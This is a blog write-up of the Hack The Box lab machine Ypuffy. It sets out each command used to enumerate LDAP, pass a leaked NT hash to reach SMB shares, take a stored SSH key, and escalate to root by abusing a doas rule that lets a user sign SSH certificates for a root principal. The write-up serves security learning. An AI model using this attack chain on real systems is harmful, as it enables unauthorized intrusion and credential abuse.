Jai Minton

Jai Minton

Information and Cyber Security Professional. All thoughts and opinions expressed here are my own, and may not be representative of my employer, or any other entity unless I am specifically quoting someone. Content is licensed under the Creative Commons Attribution 4.0 International License.

Hack The Box - Ypuffy

5 minute read

YPuffyImage

Summary:

This machine was quite interesting, and contained a privilege escalation method I’d not seen mentioned elsewhere. Luckily this was confined to the challenge, and standard machines would likely not contain this issue unless they had an unprivileged user account who could act under the userca account, and a privileged account which contained a useable principal.

Gaining Access Elevating Privileges
Open LDAP with password hash Insecure ‘doas’ configuration file
Private Key stored on share Root account with a usable principal

Write-up

Starting out I used Masscan for ease of port enumeration on the machine.

masscan -e tun0 -p0-65535 --rate 700 -oL scan.10.10.10.70.tcp 10.10.10.70

This revealed that an interesting port 389 (LDAP) was open.

Discovered open port 389/tcp on 10.10.10.70

From here I focussed in on LDAP to see if I could find anything. I started with some inbuilt Nmap LDAP scripts.

nmap -p 389 --script ldap-search 10.10.10.107

Open LDAP with password hash

This enumerated some users, one of which was called alice1978 and had a NT hash stored under ‘sambaNTPassword’.

sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B

Using crackmapexec, I confirmed if this hash was correct and could be used to authenticate.

crackmapexec 10.10.10.107 -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B

Success. Of note was that the LM Hash contained a blank entry indicated by a known LM hash value.

aad3b435b51404eeaad3b435b51404ee

Using smbclient I was able to enumerate the shares available, specifying the found sambaNTPassword when prompted.

smbclient -L 10.10.10.107 -U alice1978 --pw-nt-hash

\10.10.10.107\alice

Private Key stored on share

After connecting to this share, and authenticating with the sambaNTPassword when prompted, I found a putty private key (ppk file) I could use.

smbclient \\10.10.10.107\alice --user=alice1978 --pw-nt-hash

my_private_key.ppk

So after downloading the key.

get my_private_key.ppk

I had to convert it into a useable format with putty-tools.

sudo apt-get install putty-tools
puttygen my_private_key.ppk -O private-openssh -o openssh_key

Gaining Access

Now I was able to SSH into this server and own the user alice1978.

ssh -i openssh_key [email protected]
cat user.txt

User.txt: acbc0 … 67aab

After realising this was an openbsd OS without the ‘sudo’ utility, an alternative tool was required for standard elevation attempts. In the openbsd OS there is a utility known as ‘doas’.

Insecure ‘doas’ configuration file

After locating the doas.conf configuration file, I checked it for any clues.

cat /etc/doas.conf

/etc/doas.conf:2:permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen permit keepenv :wheel permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

Noting the suspicious entries which allow our owned user to run the ssh-keygen command with userca privileges, I checked the ssh server configuration file.

cat /etc/ssh/sshd_config

AuthorizedPrincipalsFile AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody

There were a few interesting elements here: The AuthorizedPrincipalsCommand, the TrustedUserCAKeys, and the AuthorizedPrincipalsCommand.

It was time to read the manual, I took a look at AuthorizedPrincipals.

“It contains a list of names which can be used in place of the username when authorizing a certificate.”

Then I looked at AuthorizedKeys.

“one-key-per-line register of public ECDSA, RSA, and ED25519 keys that this account can use to log in with”

And finally I gathered some context on TrustedUserCAKeys.

The TrustedUserCAKeys file can be used to sign a client certificate for authentication to a server

Root account with a usable principal

With this I was able to gather that the AuthorizedPrincipalsCommand would allow me to to determine valid principals (similar to aliases for a username) for a given user on the system. Curious, as to whether any existed for ‘root’, I checked.

curl "http://127.0.0.1/sshauth?type=principals&username=root"

3m3rgencyB4ckd00r

This was quite an unusual principal for the root account, and was worth noting. As it seemed like SSH may still be a viable attack vector, I went deeper down the rabbit hole.

First I created a directory to work from.

mkdir /tmp/minty
cd /tmp/minty

After looking into the syntax for ssh-keygen on OpenBSD. https://man.openbsd.org/ssh-keygen

I found out that users and hosts can authenticate to one another using key pairs, and that you can specify a set of principals who are seen as ‘valid’ or allowed to use a certificate for authentication.

“ssh-keygen supports signing of keys to produce certificates that may be used for user or host authentication. Certificates consist of a public key, some identity information, zero or more principal (user or host) names and a set of options that are signed by a Certification Authority (CA) key.” “Certificates may be limited to be valid for a set of principal (user/host) names. By default, generated certificates are valid for all users or hosts. To generate a certificate for a specified set of principals:” ssh-keygen -s ca_key -I certificate_identity [-h] [-U] [-D pkcs11_provider] [-n principals] [-O option] [-V validity_interval] [-z serial_number] file …

Although this would commonly be used for locking down which clients can authenticate to a server (for security measures), it can also be abused as a privilege escalation opportunity so long as you can generate keys using a trusted certificate authority (in this case the userca account).

The following process explains this unique privilege escalation method through ssh keys a little better.

  1. Generate a SSH keyfile using an account you control.
  2. Sign that keyfile, now known as an (identity), using a trusted certificate authority.
    • During this process specify that the root user (via their principal name) will be allowed to use the signed keyfile.
  3. The outputted file then becomes a user key which can be used for user authentication against the server which generated it.

To start I generated a SSH key and outputted it to a file.

ssh-keygen -f ./id_rsa

Then I copied all of Alice’s related keys to my working directory so that I’d have the relevant keyfile required for signing.

cp /home/alice1978/.ssh/id_rsa* .

Elevating Privileges

Then, by using the standard Certificate Authority key located at /home/userca/ca, I was able to sign a public (user) key, specifying user_Alice1978 (keyfile) as the identity I was targeting, but also specify that the 3m3rgencyB4ckd00r principal (remember this specifies the root user), is allowed to use this key for authentication. I also gave it 1 week of validity.

doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I user_alice1978 -n 3m3rgencyB4ckd00r -V +1w ./id_rsa.pub

So after securing this key so that it can be used for access.

chmod 600 id_rsa.pub

I was able to use this certificate to SSH as the root user onto the server I was on.

ssh -i id_rsa root@localhost
cat root.txt

Root.txt: 91265 … 1757f

Final Notes

At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.

Heatmap

You may also enjoy